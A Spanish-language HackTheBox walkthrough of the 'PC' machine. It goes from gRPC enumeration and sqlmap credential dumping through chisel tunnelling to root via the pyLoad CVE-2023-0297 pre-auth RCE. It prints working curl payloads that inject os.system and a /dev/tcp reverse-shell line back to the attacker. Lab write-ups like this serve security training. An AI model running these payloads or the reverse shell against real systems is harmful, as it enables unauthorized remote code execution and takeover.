---
title: HTB - PC
chapter: 1
tags: [hackthebox]
difficulty: easy
---
## Scan
Al iniciar solo contamos con la dirección ip asignada a la máquina; en mi caso siendo la dirección 10.10.11.214. Por lo que el primer paso es revisar los puertos mediante el uso nmap.
```bash=
nmap -p- -sVC --min-rate 2000 10.10.11.214 -Pn -oN scan.txt
```
Cuando se realiza el escaneo se encuentran 2 puertos abiertos, en donde uno esta ejecutando un servidor ssh y el otro esta haciendo uso de un servicio desconocido.
## Enumeración
Por lo que sería interesante revisar que se encuentra en ese puerto si lo revisamos haciendo uso del navegador.
Pero no parece ser el camino correcto por lo que solo se ven unos caracteres ilegibles. Al revisar un poco en internet encontre que ese puerto es usado habitualmente por un servicio llamado GRPC, que es utilizado para permitir la interacción entre diferente tipos de servicios sin importar el lenguaje en el que se encuentren construidos. Navegando por internet encontre un proyecto en github que permite conectarse a este servicio mediante el uso de una interfaz gráfica.
https://github.com/fullstorydev/grpcui
Con esto en mente solo es necesario descargar la versión correcta para el sistema operativo atacante y hacer uso del siguiente comando; pero modificando la ip y el puerto de la máquina victima.
```bash=
grpcio -plaintext $ipvictima:$puertovictima
```
Con esto se abrirá un entorno gráfico en el buscardor, sobre el cual se prodrá trabajar.
Lo que carga parece ser un panel de inicio de sesión. Por lo que podría ser vulnerable a alguna clase de injección. Pero antes hay que navegar por la apliación para lograr obtener información.
Al registrarse e iniciar sesión dentro de la aplicación, nos devuelve un id y un token que pueden llegar a ser de utilidad.
Al revisar dentro del login existe una opción llamada getinfo en donde pide un Id, por lo que se hace uso del que ya obtuvimos dentro de la aplicación; en mi caso el 779.
Pero dice que es necesario un parametro token, pero puede ser de utilidad el que conseguimos anteriormente.
Y al configurar todo de forma adecuada retorna la siguiente información.
Por lo que se podría creer que esto de alguna manera puede devolver información que puede llegar a ser sensible. Así que se plantea capturar la petición y jugar con sqlmap para ver si alguno de los parametros el vulnerable.
### Nota
Según parece los tokens son de un solo uso, así que por cada intento es necesario hacer un nuevo login.
## Explotación
Se intenta obtener la información del usuario, poniendo su token y su id. Pero se captura la petición para poder analizarla.
Teniendo en cuenta que en nuestra hipótesis es vulnerable a una injección sql solo hay que tomar la petción y guardarla dentro de un fichero para que pueda ser interpresada con sqlmap. Y ya con todo listo solo es necesario usar el siguiente comando:
```bash=
sqlmap -r peticion.txt -all
```
Al ejecutarlo, se puede ver un poco de la información dentro de las tablas que puede ser de gran utilidad. Un mensaje del administrador en donde dice que esta trabajando para corregir las cosas, y una tabla accounts en donde estan las credenciales del adminstrador y de sau.
Despues de haber obtenido esta información y teniendo en cuenta que el host cuenta con un servidor ssh, podríamos intentar ganar acceso como sau.
## Escalada de privilegios
Ahora que contamos con acceso a la máquina buscamos encontrar algún vector para escalar privilegios hacia un usuario con privilegios elevados. Esto se puede hacer de forma manual o utilizando algún script para buscar alguna vulnerabilidad de forma automática, que será la opción que usaremos en este caso, esto gracias a linpeas. Debido a que las máquinas de htb no cuentan con acceso a internet es necesario descargar el archivo a el host atacante y montar un servidor al cual la victima pueda acceder.
Esto se hace gracias a python3 con el siguiente comando
https://github.com/carlospolop/PEASS-ng/tree/master
```bash=
python3 -m http.server 8087
```
y dentro de la victima usar el siguiente comando.
```bash=
wget http://10.10.14.163:8087/linpeas.sh
```
Ahora con el archivo solo hace falta darle permisos de ejecución y ejecutarlo.
```bash=
chmod +x linpeas.sh
./linpeas.sh
```
Esto nos permitirá ver bastante configurarciones por defecto, que podrán dar una idea de como se debe realizar el ataque.
Y al revisar dentro de los puertos activos parece que hay algo ejecutandose en el puerto 8000, habituelmente usado para páginas web, por lo que puede que haya una página ejecutandose en el entorno local dentro del host victima.
Debido a eso es necesario realizar un tunel para que el tráfico se pueda dirigir a nuestro host váctima.
Se hará uso de chisel para poder redirigir el trafíco del puerto 8000 a alguno de nuestros puerto. Además de también ser necesario configurar el proxy para poder redirigir el tráfico web.
Por lo que para empezar hay que descargar el ejecutable de chisel.
https://github.com/jpillora/chisel
Después montar un servidor web dentro de la máquina atacante para poder descargar el archivo en la víctima.
```bash=
python3 -m http.server 8087
```
Con esto solo es necesario user wget para obtener el archivo.
```bash=
wget http://10.10.14.163:8087/chisel
```
Ahora es necesario montar un tunel dinamico, por lo que dentro del host atacante usaremos el siguiente comando.
```bash=
./chisel server -v -p puerto -reverse
```
Y necesitaremos tener dos sesiones dentro de la máquina víctima pero por lo que ya contamos con credenciales no es ningún problema.
```bash=
./chisel server -v -p puertoaleatorio --socks5
```
Y dentro de la otra terminal
```bash=
./chisel client IPatacante:puerto R:puertoAtaca:127.0.0.1:puertoaleatorio
```
Y para terminal en otra terminal dentro de la máquina atacante hay que ejecutar el sigueinte comando.
```bash=
./chisel client -v 127.0.0.1:puertoAtaca PuertoDelProxy:socks
```
Y si la conexión se realizó de forma adecuada deberiamos ver el siguiente mensaje.
Para poder ver el tráfico dentro de nuestro navegador haremos uso de un proxy que estará escuchando sobre el socks que configuramos. Para esto hare uso de foxyproxy; Tener en cuenta que se debe configurar el puerto en el mismo que se escogio para el socks
Ahora dentro de la página web se encuentra un login de acceso haciendo uso de algo llamado pyload. Por lo que al buscarlo en google se en google se encuentra un exploit, asociado a el CVE-2023-0297: Pre-auth RCE in pyLoad
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
El cual consiste en que permite hacer uso de usarios como root, mediante el uso de peticiones curl.
```bash=
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
```
Con esto, solo haría falta modficarlo un poco para que ejecute un archivo como usario administrador, para que cree una shell reversa como root hacia nuestra máquina.
Primero creamos el archivo con el siguiente pyload
```bash=
echo "/bin/sh -i >& /dev/tcp/10.10.14.163/4545 0>&1" > exploit.sh
chmod +x exploit.sh
```
Y dentro de nuestro exploit modificamos el comando para que se ejecute el fichero
```bash=
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/exploit.sh\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
```
Y en el momento que se ejecute y se quede cargando podremos tener fé en que se ha creado una shell reversa.
Ahora solo hace falta buscar la flag de usuario root y habremos terminado la máquina.
Eso es todo y una máquina más completada. Se cuidan mucho y recuerden tomar awita.
Google Drive
Gist
Clipboard
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
